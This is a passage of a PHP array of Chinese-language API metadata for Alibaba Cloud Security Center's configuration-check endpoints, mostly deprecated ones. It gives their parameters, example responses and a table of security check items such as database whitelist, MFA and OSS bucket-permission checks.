\\"RequestId\\": \\"AD271C07-4ACE-413D-AA9B-F14FD3B7717F\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 12,\\n \\"PageCount\\": 20,\\n \\"Count\\": 10,\\n \\"List\\": [\\n {\\n \\"RiskLevel\\": \\"high\\",\\n \\"Status\\": \\"pass\\",\\n \\"Type\\": \\"Log audit\\",\\n \\"Sort\\": 1,\\n \\"RepairStatus\\": \\"disabled\\",\\n \\"RemainingTime\\": 0,\\n \\"ItemId\\": 1,\\n \\"StartStatus\\": \\"enabled\\",\\n \\"AffectedCount\\": 0,\\n \\"RiskAssertType\\": \\"ECS\\",\\n \\"Title\\": \\"RDS - Whitelist Configuration\\",\\n \\"TaskId\\": 15384933,\\n \\"CheckTime\\": 1639429164000,\\n \\"RiskItemResources\\": [\\n {\\n \\"ContentResource\\": {\\n \\"key\\": \\"{\\\\n \\\\\\"type\\\\\\": \\\\\\"link\\\\\\",\\\\n \\\\\\"url\\\\\\": \\\\\\"https://***.aliyun.com/abc.html\\\\\\",\\\\n \\\\\\"value\\\\\\": \\\\\\"https://***.aliyun.com/abc.html\\\\\\"\\\\n}\\"\\n },\\n \\"ResourceName\\": \\"bestPractice\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n AD271C07-4ACE-413D-AA9B-F14FD3B7717F\\n 20\\n 12\\n 20\\n 10\\n \\n high\\n pass\\n 身份认证及权限\\n 1\\n disabled\\n 0\\n 1\\n enabled\\n 0\\n ECS\\n 云平台-主账号双因素认证配置检查\\n 15384933\\n 1639429164000\\n \\n { \\"type\\": \\"link\\", \\"value\\": \\"未开启多因素认证，存在风险\\\\n\\", \\"url\\": \\"https://***.aliyun.com/#/secure\\\\n\\" }\\n bestPractice\\n \\n \\n","errorExample":""}]', + 'title' => '查询检查项检测结果', + 'description' => '该接口已下线，使用升级接口[ListCheckResult](~~ListCheckResult~~)替换。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' 以下表格展示了所有云平台配置检查项的ID、名称、类型、风险等级、云产品类型和说明。'."\n" + .'| ItemId（检查项ID） | Name（检查项名称）|GroupId（检查项类型）|RiskLevel（风险等级）|AssetType（云产品类型）| 说明|'."\n" + .'| ----- | -------------- | ----------- | ----------- | ----------- |----------- |'."\n" + .'| 1 | 操作审计-日志配置 | 3（日志审计） | medium | ActionTrail |检查是否已启用操作审计服务记录云平台操作日志，并正确配置日志保存到OSS Bucket。 |'."\n" + .'| 2 | RDS-数据库安全策略 |4（数据安全） | medium| RDS | 检查RDS的各个实例是否已启用数据加密传输（SSL）、数据加密存储（TDE）和SQL审计服务。 |'."\n" + .'| 3 | 主账号安全-双因素认证 |1（身份认证及权限） | high |RAM | 检查用户登录阿里云控制台的主账号，是否已启用双因素认证MFA（Multi-Factor Authentication)。 |'."\n" + .'| 4 | 云盾-高防回源配置 | 2（网络访问控制） | high|DDoS | 检查使用DDoS高防服务后，是否已隐藏后端服务器真实IP地址。避免攻击者直接访问真实IP绕过高防。通过设置白名单的方式可以隐藏后端服务器真实IP地址，当真实IP为弹性计算服务（ECS） IP时，在弹性计算服务（ECS）安全组设置访问控制策略；当真实IP为负载均衡服务（SLB） IP时，在负载均衡服务上设置白名单访问控制策略。设置访问控制策略为仅允许高防回源IP地址访问。 |'."\n" + .'| 5 | RDS-白名单配置 | 2（网络访问控制） | high | RDS|检查数据库服务（RDS）的访问控制策略是否有0.0.0.0/0（任意IP）的配置，不建议数据库类服务直接对公网开放，需要限定访问范围为指定IP访问。 |'."\n" + .'| 6 | SLB-高危端口暴露 | 2（网络访问控制） | high | SLB|检查负载均衡服务（SLB）是否已配置高危服务端口转发到公网。 |'."\n" + .'| 7 | 云盾-WAF回源配置 | 2（网络访问控制） | high |WAF| 检查使用WAF服务后，是否已隐藏后端服务器真实IP地址。避免攻击者直接访问真实IP绕过WAF。通过设置白名单的方式可以实现，当真实IP为弹性计算服务（ECS） IP时，在弹性计算服务（ECS）安全组设置相应访问控制策略；当真实IP为负载均衡服务（SLB）IP时，在负载均衡服务上设置白名单访问控制策略。设置访问控制策略为仅允许WAF回源IP地址访问。 |'."\n" + .'| 8 | 云盾-主机安全防护| 6（基础安全防护） | high |ECS | 检查ECS主机的云安全中心Agent是否持续在线，提供安全防护。 |'."\n" + .'| 12 | OSS-Bucket权限设置 | 4（数据安全） | high | OSS| 检查OSS所有Bucket是否允许公共读写或公共读。公共读（public-read）、公共读写（public-read-write）权限可以不通过身份验证直接读取或者写入您Bucket中的数据，安全风险高，为确保您的数据安全，不推荐此配置，建议您选择私有（private）访问控制方式。 |'."\n" + .'| 13 | 云安全中心-AK泄露检测配置 | 5（监控告警） | medium |RAM | 检查是否开启了AK和账密防泄漏功能。API凭证（即阿里云AccessKey）是用户访问内部资源最重要的身份凭证。为了避免不慎泄露AccessKey造成的恶劣影响，建议在云安全中心开启AK泄漏检测。 |'."\n" + .'| 14 | MongoDB-白名单配置 | 2（网络访问控制） | high | MongoDB|检查云数据库MongoDB实例是否已开启白名单限制。如果开启白名单，并且白名单设置为0.0.0.0/0和空代表不设IP访问的限制，数据库将会有高安全风险。建议仅将您访问MongoDB数据库的服务器外网IP/IP段设为可访问权限。 |'."\n" + .'| 15 | RAM-子账号双因素认证 | 1（身份认证及权限） | medium | RAM|子账号安全-检测是否已开启双因素认证。 |'."\n" + .'| 16 | OSS-日志记录配置 | 4（数据安全） | medium |OSS | 检查OSS所有Bucket是否已启用日志记录。用户在访问OSS的过程中，会产生大量的访问日志。日志存储功能，可将OSS的访问日志，以小时为单位，按照固定的命名规则，生成一个Object写入您指定的Bucket（目标 Bucket，Target Bucket）。您可以使用阿里云DataLakeAnalytics或搭建Spark集群等方式对这些日志文件进行分析。同时，您可以配置目标 Bucket 的生命周期管理规则，将这些日志文件转成归档存储，长期归档保存。 |'."\n" + .'| 17 |OSS-跨区域复制配置 | 4（数据安全） | low | OSS| 检查OSS所有Bucket是否已启用跨区域复制。跨区域复制（Bucket Cross-Region Replication）是跨不同OSS数据中心（地域）的Bucket自动、异步复制Object，它会将Object的创建、更新和删除等操作从源存储空间复制到不同区域的目标存储空间。该功能能够很好的提供Bucket跨区域容灾或满足用户数据复制的需求。目标Bucket中的对象是源Bucket中对象的精确副本，它们具有相同的对象名、元数据以及内容，例如创建时间、拥有者、用户定义的元数据、Object ACL、对象内容等。 |'."\n" + .'| 18 | RDS-开启数据库备份 |4（数据安全） | medium | RDS | 数据安全-检查是否开启数据库备份。建议RDS数据库实例开启数据备份功能，数据备份应当每天备份一次。 |'."\n" + .'| 19 | Redis-白名单配置| 2（网络访问控制） | high | Redis | 数据安全-检查Redis访问控制。 |'."\n" + .'| 20 | ECS-密钥对登录 | 1（身份认证及权限） | medium |ECS | ECS-密钥对登录检查。 |'."\n" + .'| 21 | SLB-健康状态 | 5（监控告警） | low | SLB |负载均衡实例健康状态检查。 |'."\n" + .'| 22 | PolarDB-白名单配置 | 2（网络访问控制） | medium | PolarDB| 检查云数据库PolarDB的访问控制策略是否开放公网访问且有0.0.0.0/0（任意IP）的配置，不建议数据库类服务直接对公网开放，需要限定访问范围为指定IP访问。 |'."\n" + .'| 23 | 分析型数据库PostgreSQL版-白名单配置 |2（网络访问控制） | medium | PostgreSQL| 检查分析型数据库PostgreSQL版的访问控制策略是否有0.0.0.0/0（任意IP）的配置，不建议数据库类服务直接对公网开放，需要限定访问范围为指定IP访问。 |'."\n" + .'| 24 | ECS-存储加密 | 4（数据安全） | low|ECS |检查ECS主机磁盘是否开启加密，开启云盘加密，可以满足您的业务更高的安全需求或法规合规要求。 |'."\n" + .'| 25 |SLB-白名单配置 | 2（网络访问控制） | medium |SLB| 检查SLB负载均衡实例访问控制配置，建议非http/https服务启用访问控制，并且不能开放0.0.0.0/0。 |'."\n" + .'| 26 | SLB-证书过期 | 5（监控告警） | medium | SLB |检查SLB证书是否过期。 |'."\n" + .'| 27 | ECS-自动快照策略 | 4（数据安全）| medium| ECS | 检查ECS是否已开启自动快照策略。 |'."\n" + .'| 28 | SSL证书-有效期检查 | 4（数据安全） | medium|SSL |检查SSL证书是否在有效期内。 |'."\n" + .'| 30 | OSS-Bucket服务端加密 | 4（数据安全） | low| OSS | 检查OSS-Bucket服务端是否已加密。 |'."\n" + .'| 31 | OSS-Bucket防盗链配置 |2（网络访问控制） | low|OSS | 检查OSS-Bucket防盗链是否已配置。 |'."\n" + .'| 32 | RDS-跨地域备份| 4（数据安全） | low |RDS | 检查RDS是否已配置跨地域备份。 |'."\n" + .'| 33 | MongoDB-备份设置 | 4（数据安全） | medium |MongoDB |检查MongoDB是否已开启备份。 |'."\n" + .'| 34 | MongoDB-日志审计| 3（日志审计） | medium | MongoDB | 检查MongoDB是否已开启日志审计。 |'."\n" + .'|35 | MongoDB-SSL开启| 4（数据安全） | medium |MongoDB | 检查MongoDB是否已开启SSL证书检查。 |'."\n" + .'|36 | 云监控-主机插件状态| 5（监控告警） | medium |CloudMonitor| 检查云监控主机插件状态是否正常。 |'."\n" + .'| 37 | ECS-安全组策略 | 2（网络访问控制） | medium | ECS |检查ECS安全组策略。 |'."\n" + .'| 38 | VPC-DNAT管理端口开放 | 2（网络访问控制） | medium |VPC | 检查VPC-DNAT管理开放的端口。 |'."\n" + .'| 39 | Redis-备份设置 | 4（数据安全） | medium|Redis | 检查是否已开启Redis备份设置。 |'."\n" + .'|40 | 容器镜像服务-仓库权限设置 |4（数据安全） | high| CR | 检查容器镜像服务是否设置正确的仓库权限。 |'."\n" + .'|41 | 容器镜像服务-安全扫描 | 6（基础安全防护）| low|CR | 检查容器镜像服务是否启用安全扫描。 |'."\n" + .'| 42 | SLB-访问日志配置 | 3（日志审计） | medium | SLB |检查SLB是否已设置访问日志配置。 |'."\n" + .'| 43 | Redis-审计日志配置| 3（日志审计）| low | Redis | 检查Redis审计日志配置检查。 |'."\n" + .'| 44 | OSS-授权策略 | 1（身份认证及权限） | medium |OSS | 检查OSS是否已配置正确的授权策略。 |'."\n" + .'| 46 | PolarDB-备份设置 | 4（数据安全） | medium|PolarDB | 检查PolarDB是否已开启备份。 |'."\n" + .'| 47 | PolarDB-SQL洞察| 3（日志审计） | medium | PolarDB | 检查PolarDB是否已开启SQL洞察。 |'."\n" + .'| 49 | 主账号安全-AK使用 | 1（身份认证及权限） | medium |RAM | 检查主账号是否已启用AK。 |'."\n" + .'| 51 | CDN-实时日志推送 | 3（日志审计） | medium |CDN | 检查CDN是否已开启实时日志推送。 |'."\n" + .'| 52 | Redis-SSL开启 |4（数据安全） | medium |Redis | 检查Redis是否已使用SSL证书。 | ', + 'extraInfo' => ' ', + ], + 'DescribeSecurityCheckScheduleConfig' => [ + 'summary' => '查看用户自定义设置的检测周期以及时间段。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '48D2E9A9-A1B0-4295-B727-0995757C47E9', + ], + 'RiskCheckJobConfig' => [ + 'description' => '自定义检查设置的详细配置信息。', + 'type' => 'object', + 'properties' => [ + 'EndTime' => [ + 'description' => '检测结束时间。'."\n" + ."\n" + .'- **6**：在00:00~06:00结束检测'."\n" + .'- **12**：在06:00~12:00结束检测'."\n" + .'- **18**：在12:00~18:00结束检测'."\n" + .'- **24**：在18:00~24:00结束检测', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'StartTime' => [ + 'description' => '检测开始时间。'."\n" + ."\n" + .'- **0**：在00:00~06:00开始检测'."\n" + .'- **6**：在06:00~12:00开始检测'."\n" + .'- **12**：在12:00~18:00开始检测'."\n" + .'- **18**：在18:00~24:00开始检测', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'DaysOfWeek' => [ + 'description' => '检测周期。可取值周一至周日，支持设置多天。多天之间使用英文逗号隔开。'."\n" + ."\n" + .'- **1**：周一'."\n" + .'- **2**：周二'."\n" + .'- **3**：周三'."\n" + .'- **4**：周四'."\n" + .'- **5**：周五'."\n" + .'- **6**：周六'."\n" + .'- **7**：周日', + 'type' => 'string', + 'example' => '1,2,3', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"48D2E9A9-A1B0-4295-B727-0995757C47E9\\",\\n \\"RiskCheckJobConfig\\": {\\n \\"EndTime\\": 12,\\n \\"StartTime\\": 6,\\n \\"DaysOfWeek\\": \\"1,2,3\\"\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 48D2E9A9-A1B0-4295-B727-0995757C47E9\\n \\n 12\\n 6\\n 1,2,3\\n \\n","errorExample":""}]', + 'title' => '查看用户自定义检测周期和时间段', + 'description' => '该接口已下线，使用升级接口GetCheckConfig替换。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeRiskCheckItemResult' => [ + 'summary' => '查询指定云平台配置检查项影响的资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '指定访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '173.128.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ItemId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的云平台配置检查项的ID。'."\n" + .'> 云平台配置检查支持的检查项的ID及其详细信息，请参见[DescribeRiskCheckResult](~~DescribeRiskCheckResult~~)。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '3BFB4989-A108-46A4-954E-FF7EF02D1078', + ], + 'PageContentResource' => [ + 'description' => '影响资产分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ContentResource' => [ + 'description' => '影响资产的动态表格的分页数据。', + 'type' => 'object', + 'additionalProperties' => [ + 'type' => 'any', + 'example' => '{"resultStatus":[{"id":123345,"status":"failed"}],"columns":[{"title":"The available zone where it is located","key":"RegionId"},{"title":"Database instance ID","key":"DBInstanceId"},{"title":"Item value","key":"VulValue"}],"values":[{"DBInstanceId":{"type":"link","value":"dds-bp144b42843****\\n","url":"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b********/basicInfo"},"VulValue":{"type":"link","value":"0.0.0.0/0","url":"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-b*********/whiteList"},"RegionId":{"type":"text","value":"cn-hangzhou"}}],"emptyGridValue":{"type":"text","value":"No data"},"type":"grid"}', + 'description' => '检查结果详情。', + ], + 'example' => '{"resultStatus":[{"id":32183150,"status":"failed"}],"columns":[{"title":"所在可用区","key":"RegionId"},{"title":"数据库实例ID","key":"DBInstanceId"},{"title":"问题条目值","key":"VulValue"}],"values":[{"DBInstanceId":{"type":"link","value":"dds-bp144b42843****\\n","url":"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b42843****/basicInfo"},"VulValue":{"type":"link","value":"0.0.0.0/0","url":"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b42843****/whiteList"},"RegionId":{"type":"text","value":"cn-hangzhou"}}],"emptyGridValue":{"type":"text","value":"暂无数据"},"type":"grid"}', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '返回数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageCount' => [ + 'description' => '返回数据的总页数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RiskItemNotExists', + 'errorMessage' => 'risk item not exists', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"3BFB4989-A108-46A4-954E-FF7EF02D1078\\",\\n \\"PageContentResource\\": {\\n \\"CurrentPage\\": 1,\\n \\"ContentResource\\": {\\n \\"key\\": \\"{\\\\\\"resultStatus\\\\\\":[{\\\\\\"id\\\\\\":123345,\\\\\\"status\\\\\\":\\\\\\"failed\\\\\\"}],\\\\\\"columns\\\\\\":[{\\\\\\"title\\\\\\":\\\\\\"The available zone where it is located\\\\\\",\\\\\\"key\\\\\\":\\\\\\"RegionId\\\\\\"},{\\\\\\"title\\\\\\":\\\\\\"Database instance ID\\\\\\",\\\\\\"key\\\\\\":\\\\\\"DBInstanceId\\\\\\"},{\\\\\\"title\\\\\\":\\\\\\"Item value\\\\\\",\\\\\\"key\\\\\\":\\\\\\"VulValue\\\\\\"}],\\\\\\"values\\\\\\":[{\\\\\\"DBInstanceId\\\\\\":{\\\\\\"type\\\\\\":\\\\\\"link\\\\\\",\\\\\\"value\\\\\\":\\\\\\"dds-bp144b42843****\\\\\\\\n\\\\\\",\\\\\\"url\\\\\\":\\\\\\"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b********/basicInfo\\\\\\"},\\\\\\"VulValue\\\\\\":{\\\\\\"type\\\\\\":\\\\\\"link\\\\\\",\\\\\\"value\\\\\\":\\\\\\"0.0.0.0/0\\\\\\",\\\\\\"url\\\\\\":\\\\\\"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-b*********/whiteList\\\\\\"},\\\\\\"RegionId\\\\\\":{\\\\\\"type\\\\\\":\\\\\\"text\\\\\\",\\\\\\"value\\\\\\":\\\\\\"cn-hangzhou\\\\\\"}}],\\\\\\"emptyGridValue\\\\\\":{\\\\\\"type\\\\\\":\\\\\\"text\\\\\\",\\\\\\"value\\\\\\":\\\\\\"No data\\\\\\"},\\\\\\"type\\\\\\":\\\\\\"grid\\\\\\"}\\"\\n },\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"PageCount\\": 3,\\n \\"Count\\": 1\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 1\\n \\n \\n 32183150\\n failed\\n \\n \\n 所在可用区\\n RegionId\\n \\n \\n 数据库实例ID\\n DBInstanceId\\n \\n \\n 问题条目值\\n VulValue\\n \\n \\n \\n link\\n dds-bp144b42843xxxxx\\n https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b42843****/basicInfo\\n \\n \\n link\\n 0.0.0.0/0\\n https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b42843****/whiteList\\n \\n \\n text\\n cn-hangzhou\\n \\n \\n \\n text\\n 暂无数据\\n \\n grid\\n \\n 1\\n 20\\n 1\\n 1\\n \\n 3BFB4989-A108-46A4-954E-FF7EF02D1078\\n","errorExample":""}]', + 'title' => '查询云平台配置检查风险项影响资产', + 'description' => '该接口已下线，使用升级接口ListCheckInstanceResult替换。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeRiskListCheckResult' => [ + 'summary' => '根据云产品实例ID查看单个或多个云产品中云平台配置检查风险项的个数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '59.57.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值： '."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'InstanceIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要查询的云产品实例ID。多个ID使用英文逗号（,）隔开。'."\n" + .'> 不传入实例ID时，调用该接口会返回空的风险项列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '需要查询的云产品实例ID。多个ID使用英文逗号（,）隔开。'."\n" + .'> 不传入实例ID时，调用该接口会返回空的风险项列表信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'rm-bp1e8t4q15sr3****', + ], + 'required' => false, + 'maxItems' => 10000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3BFB4989-A108-46A4-954E-FF7EF02D1078', + ], + 'List' => [ + 'description' => '风险项数量详情。', + 'type' => 'array', + 'items' => [ + 'description' => '风险项数量详情。', + 'type' => 'object', + 'properties' => [ + 'riskCount' => [ + 'description' => '当前云产品实例上存在的风险项总数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + 'InstanceId' => [ + 'description' => '云产品实例ID。', + 'type' => 'string', + 'example' => 'rm-bp1e8t4q15sr3****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3BFB4989-A108-46A4-954E-FF7EF02D1078\\",\\n \\"List\\": [\\n {\\n \\"riskCount\\": 3,\\n \\"InstanceId\\": \\"rm-bp1e8t4q15sr3****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查看云产品中云平台配置检查风险项个数', + 'description' => '该接口已下线，使用升级接口ListCheckResult替换，Statuses传NOT_PASS即可。', + ], + 'ListCheckRule' => [ + 'summary' => '查询云安全态势管理的检查项规则。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '230300', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '58', + ], + ], + [ + 'name' => 'CheckName', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'checkName', + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。默认**WHITE**。取值：'."\n" + .'- **WHITE**：加白名单', + 'type' => 'string', + 'required' => false, + 'example' => 'WHITE', + ], + ], + [ + 'name' => 'ScopeType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则的生效范围，取值：'."\n" + .'- **INSTNACE** ：实例'."\n" + .'- **ITEM**：检查项', + 'type' => 'string', + 'required' => false, + 'example' => 'INSTANCE', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的检查项信息的数量。默认值为**20**，表示每页显示20条检查项信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- zh：中文'."\n" + .'- en：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'TaskSources', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务来源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务来源。取值：'."\n" + ."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回的数据类型。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', + ], + 'CheckRules' => [ + 'description' => '检查规则。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'AliUid' => [ + 'description' => '当前用户的UID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '176316827610****', + ], + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云资产的类型。'."\n" + .'> 具体含义参考接口[GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) AssetType。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CheckId' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '77', + ], + 'ScopeType' => [ + 'description' => '规则的生效范围，取值：'."\n" + .'- **INSTNACE** ：实例'."\n" + .'- **ITEM**：检查项', + 'type' => 'string', + 'example' => 'INSTANCE', + ], + 'RuleType' => [ + 'description' => '规则类型。默认**WHITE**。取值：'."\n" + .'- **WHITE**： 加白名单', + 'type' => 'string', + 'example' => 'WHITE', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '8000**', + ], + 'CheckShowName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'Check for IPS Whitelist on CEN (Enterprise Edition) Tab', + ], + 'CheckPolicies' => [ + 'description' => '检查项的章节展示名称。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的章节展示名称。', + 'type' => 'object', + 'properties' => [ + 'sectionShowName' => [ + 'description' => '检查项的章节展示名称。', + 'type' => 'string', + 'example' => 'Access Control', + ], + ], + ], + ], + 